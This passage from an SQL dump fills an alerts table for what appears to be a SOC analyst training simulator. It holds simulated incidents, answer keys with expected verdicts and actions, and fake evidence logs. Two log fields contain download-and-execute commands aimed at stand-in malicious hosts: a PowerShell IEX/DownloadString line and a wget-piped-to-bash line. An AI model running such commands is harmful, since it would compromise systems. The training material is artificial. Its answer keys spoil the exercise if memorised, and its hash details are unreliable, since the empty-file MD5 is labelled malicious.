recent phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash linked to malware sample associated with Ragnar Locker.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Invoice_Update.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis Platform\",\"verdict\":\"suspicious\",\"details\":\"Common filename used in phishing attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Phishing Email Detected\",\"date\":\"2026-03-15T20:58:15.734Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1613, 'Unusual PowerShell Execution', 'high', 'Endpoint Detection and Response (EDR)', 'A PowerShell script was detected executing on a compromised machine following a successful phishing attack. The script was used to download and execute the Ragnar Locker ransomware payload, indicating the beginning of the ransomware execution phase.', 'Execution', 'T1203', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:22:35Z\",\"event_id\":\"4624\",\"computer_name\":\"DESKTOP-5G7H9BK\",\"user\":\"jdoe\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command \\\\\\\"IEX (New-Object Net.WebClient).DownloadString(\'http://maliciousdomain.com/ragnar_locker.ps1\')\\\\\\\"\",\"source_ip\":\"198.51.100.42\",\"destination_ip\":\"192.168.1.10\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"ragnar_locker.ps1\"}', '2026-03-15 19:18:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with known ransomware activities.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"ragnar_locker.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatCrowd\",\"verdict\":\"malicious\",\"details\":\"File associated with Ragnar Locker ransomware.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Ragnar Locker script.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1614, 'New User Account Creation', 'high', 'Active Directory Logs', 'A new user account \'tempAdmin\' was created with elevated privileges. This account is suspected to be part of an attacker’s persistence strategy to maintain access to the network and move laterally undetected.', 'Persistence', 'T1136.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:23:45Z\",\"event_id\":\"4720\",\"event_source\":\"Security\",\"computer_name\":\"AD-Server01\",\"user\":{\"target_user_name\":\"tempAdmin\",\"target_user_domain\":\"internal.local\",\"target_user_sid\":\"S-1-5-21-3623811015-3361044348-30300820-1013\",\"caller_user_name\":\"admin_jdoe\",\"caller_user_domain\":\"internal.local\",\"caller_user_sid\":\"S-1-5-21-3623811015-3361044348-30300820-500\"},\"network\":{\"source_ip\":\"192.168.15.23\",\"destination_ip\":\"10.0.0.5\"},\"attacker\":{\"ip\":\"203.0.113.45\",\"malware_file\":\"backdoor.exe\",\"malware_hash\":\"4d7c8a7ef9f5b9cfc7a5e0fdf5f8b0e7\"}}', '2026-03-15 19:18:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"tempAdmin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security Logs\",\"verdict\":\"suspicious\",\"details\":\"Newly created user account with elevated privileges.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"4d7c8a7ef9f5b9cfc7a5e0fdf5f8b0e7\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known backdoor malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(1615, 'Large Data Transfer Detected', 'critical', 'Network Traffic Analysis', 'A massive data transfer involving 1TB of sensitive data was detected being exfiltrated to an external IP address. The data included unreleased game details, and the operation concluded with a ransom demand.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"185.199.108.153\",\"bytes_transferred\":1073741824,\"protocol\":\"HTTPS\",\"source_port\":443,\"destination_port\":443,\"file_hash\":\"57d4e1a3f4b2c3d4e5f6a7b8c9d0e1f2\",\"filename\":\"unreleased_game_details.zip\",\"user\":\"jdoe\",\"indicator_of_compromise\":true,\"action_taken\":\"none\",\"additional_info\":{\"ransom_demand\":\"5 BTC\",\"malware_family\":\"Maze\"}}', '2026-03-15 19:18:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malicious IP Database\",\"verdict\":\"malicious\",\"details\":\"Known exfiltration server\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"57d4e1a3f4b2c3d4e5f6a7b8c9d0e1f2\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with Maze ransomware\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"unreleased_game_details.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Threat Intelligence\",\"verdict\":\"internal\",\"details\":\"Contains sensitive unreleased game data\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"Employee account potentially compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1616, 'AWS IAM Privilege Escalation Detected', 'critical', 'AWS GuardDuty', 'A potential AWS IAM privilege escalation attempt was detected through a misconfigured policy change. An external IP made unauthorized changes.', 'Privilege Escalation', 'T1068', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:12:34Z\",\"event_type\":\"policy_change\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.25\",\"username\":\"admin_user\",\"hostname\":\"aws-instance-1\",\"request_body\":\"\",\"command_line\":\"aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name admin_user\"}', '2026-03-15 19:29:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account involved in suspicious policy changes\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicative of privilege escalation\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP address is associated with previous malicious activities and the command executed is indicative of privilege escalation.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.744Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:12:34Z\\\",\\\"event_type\\\":\\\"policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"aws-instance-1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name admin_user\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.744Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:12:34Z\\\",\\\"event_type\\\":\\\"policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"aws-instance-1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name admin_user\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.744Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:12:34Z\\\",\\\"event_type\\\":\\\"policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"aws-instance-1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name admin_user\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.744Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:12:34Z\\\",\\\"event_type\\\":\\\"policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"aws-instance-1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name admin_user\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.744Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:12:34Z\\\",\\\"event_type\\\":\\\"policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"aws-instance-1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name admin_user\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1617, 'Azure Blob Storage Public Exposure Detected', 'high', 'Azure Defender', 'A blob storage container was found to be publicly accessible, potentially exposing sensitive data.', 'Data Exposure', 'T1530', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:23:45Z\",\"event_type\":\"config_change\",\"src_ip\":\"198.51.100.67\",\"dst_ip\":\"192.168.2.10\",\"username\":\"storage_admin\",\"hostname\":\"azure-storage-blob\",\"request_body\":\"\",\"command_line\":\"az storage blob set-permission --container-name confidential-data --public-access blob\"}', '2026-03-15 19:29:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"IP linked to multiple suspicious activities\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"az storage blob set-permission --container-name confidential-data --public-access blob\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to expose blob storage publicly\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The command was used to alter blob storage settings, making sensitive data publicly accessible.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.748Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:45Z\\\",\\\"event_type\\\":\\\"config_change\\\",\\\"src_ip\\\":\\\"198.51.100.67\\\",\\\"dst_ip\\\":\\\"192.168.2.10\\\",\\\"username\\\":\\\"storage_admin\\\",\\\"hostname\\\":\\\"azure-storage-blob\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"az storage blob set-permission --container-name confidential-data --public-access blob\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.748Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:45Z\\\",\\\"event_type\\\":\\\"config_change\\\",\\\"src_ip\\\":\\\"198.51.100.67\\\",\\\"dst_ip\\\":\\\"192.168.2.10\\\",\\\"username\\\":\\\"storage_admin\\\",\\\"hostname\\\":\\\"azure-storage-blob\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"az storage blob set-permission --container-name confidential-data --public-access blob\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.748Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:45Z\\\",\\\"event_type\\\":\\\"config_change\\\",\\\"src_ip\\\":\\\"198.51.100.67\\\",\\\"dst_ip\\\":\\\"192.168.2.10\\\",\\\"username\\\":\\\"storage_admin\\\",\\\"hostname\\\":\\\"azure-storage-blob\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"az storage blob set-permission --container-name confidential-data --public-access blob\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.748Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:45Z\\\",\\\"event_type\\\":\\\"config_change\\\",\\\"src_ip\\\":\\\"198.51.100.67\\\",\\\"dst_ip\\\":\\\"192.168.2.10\\\",\\\"username\\\":\\\"storage_admin\\\",\\\"hostname\\\":\\\"azure-storage-blob\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"az storage blob set-permission --container-name confidential-data --public-access blob\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.748Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:45Z\\\",\\\"event_type\\\":\\\"config_change\\\",\\\"src_ip\\\":\\\"198.51.100.67\\\",\\\"dst_ip\\\":\\\"192.168.2.10\\\",\\\"username\\\":\\\"storage_admin\\\",\\\"hostname\\\":\\\"azure-storage-blob\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"az storage blob set-permission --container-name confidential-data --public-access blob\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1618, 'GCP Crypto Mining Activity Detected', 'critical', 'GCP SCC', 'Unusual CPU usage detected in GCP instance indicating possible crypto mining activity. External IP involved.', 'Resource Hijacking', 'T1556', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:37:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"10.0.0.5\",\"username\":\"gcp_user\",\"hostname\":\"gcp-instance-crypto\",\"request_body\":\"\",\"command_line\":\"sh -c \\\"wget -q -O- http://malicious.site/script.sh | bash\\\"\"}', '2026-03-15 19:29:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for hosting malicious scripts and crypto mining commands\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"sh -c \\\"wget -q -O- http://malicious.site/script.sh | bash\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Script indicative of crypto mining setup\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The command indicates the downloading and execution of a mining script from a known malicious IP.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.757Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:37:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"gcp_user\\\",\\\"hostname\\\":\\\"gcp-instance-crypto\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"sh -c \\\\\\\"wget -q -O- http://malicious.site/script.sh | bash\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.757Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:37:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"gcp_user\\\",\\\"hostname\\\":\\\"gcp-instance-crypto\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"sh -c \\\\\\\"wget -q -O- http://malicious.site/script.sh | bash\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.757Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:37:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"gcp_user\\\",\\\"hostname\\\":\\\"gcp-instance-crypto\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"sh -c \\\\\\\"wget -q -O- http://malicious.site/script.sh | bash\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.757Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:37:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"gcp_user\\\",\\\"hostname\\\":\\\"gcp-instance-crypto\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"sh -c \\\\\\\"wget -q -O- http://malicious.site/script.sh | bash\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.757Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:37:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"gcp_user\\\",\\\"hostname\\\":\\\"gcp-instance-crypto\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"sh -c \\\\\\\"wget -q -O- http://malicious.site/script.sh | bash\\\\\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1619, 'False Positive: Suspicious AWS S3 Access', 'medium', 'AWS GuardDuty', 'An alert was triggered for unusual access patterns to an S3 bucket, however, the access was performed by an internal user during a scheduled maintenance.', 'Data Access', 'T1530', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T05:45:11Z\",\"event_type\":\"data_access\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.101\",\"username\":\"internal_user\",\"hostname\":\"corporate-server-1\",\"request_body\":\"\",\"command_line\":\"aws s3 cp s3://company-data /backup --recursive\"}', '2026-03-15 19:29:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, part of routine operations\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"internal_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Verified internal user performing authorized actions\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The access pattern was part of scheduled maintenance by an internal user, matching expected behavior.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.759Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:45:11Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.101\\\",\\\"username\\\":\\\"internal_user\\\",\\\"hostname\\\":\\\"corporate-server-1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws s3 cp s3://company-data /backup --recursive\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.759Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:45:11Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.101\\\",\\\"username\\\":\\\"internal_user\\\",\\\"hostname\\\":\\\"corporate-server-1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws s3 cp s3://company-data /backup --recursive\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.759Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:45:11Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.101\\\",\\\"username\\\":\\\"internal_user\\\",\\\"hostname\\\":\\\"corporate-server-1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws s3 cp s3://company-data /backup --recursive\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.759Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 